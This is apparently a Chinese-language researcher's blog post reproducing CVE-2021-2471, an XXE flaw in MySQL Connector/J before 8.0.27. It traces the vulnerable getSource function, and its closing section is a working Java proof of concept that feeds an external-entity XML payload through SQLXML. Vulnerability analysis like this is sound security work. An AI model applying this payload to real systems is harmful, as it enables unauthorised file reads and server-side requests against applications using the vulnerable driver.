By Firebasky
昨天晚上看twitter,发现jdbc出现了一个xxe漏洞,比较感兴趣,阿里给了介绍但是没有给exp。
文章中介绍了是getSource函数造成的原因,那我们就需要先找到这个函数的类。漏洞版本是MySQL JDBC 8.0.27版本之前。所以我们创建maven项目并且添加jdbc的组件。https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.26
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>然后搜索getSource函数利用(全局搜索)
大概是这个在跟进他的实现。确实是这个。。
如果上面的方法感觉不好,那么可以对比来实现,因为文章中介绍了MySQL JDBC 8.0.27版本之前,说明MySQL JDBC 8.0.27就修复了漏洞,那我们下载MySQL JDBC 8.0.27和MySQL JDBC 8.0.26 来使用工具对比jar包看看不一样的地方是啥。
https://github.com/GraxCode/cafecompare
现在具体看看com.mysql.cj.jdbc.getSource函数
我们在看看this.stringRep怎么设置的
然后现在去看看怎么调用这个getSource函数,就去看看他的接口
那么现在问题就是创建一个SQLXML对象就欧克,就可以调用其getSource和setString方法。
https://www.docs4dev.com/docs/zh/java/java8/tutorials/jdbc-basics-sqlxml.html#creating_sqlxml
package CVE;
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class CVE_2021_2471 {
public static void main(String[] args) throws SQLException {
String poc = "<?xml version=\"1.0\" ?>\n" +
"<!DOCTYPE r [\n" +
"<!ELEMENT r ANY >\n" +
"<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
"]>\n" +
"<r>&sp;</r>";
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root", "0210520");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);//为了绕过clazz.equals(DOMSource.class)
}
}






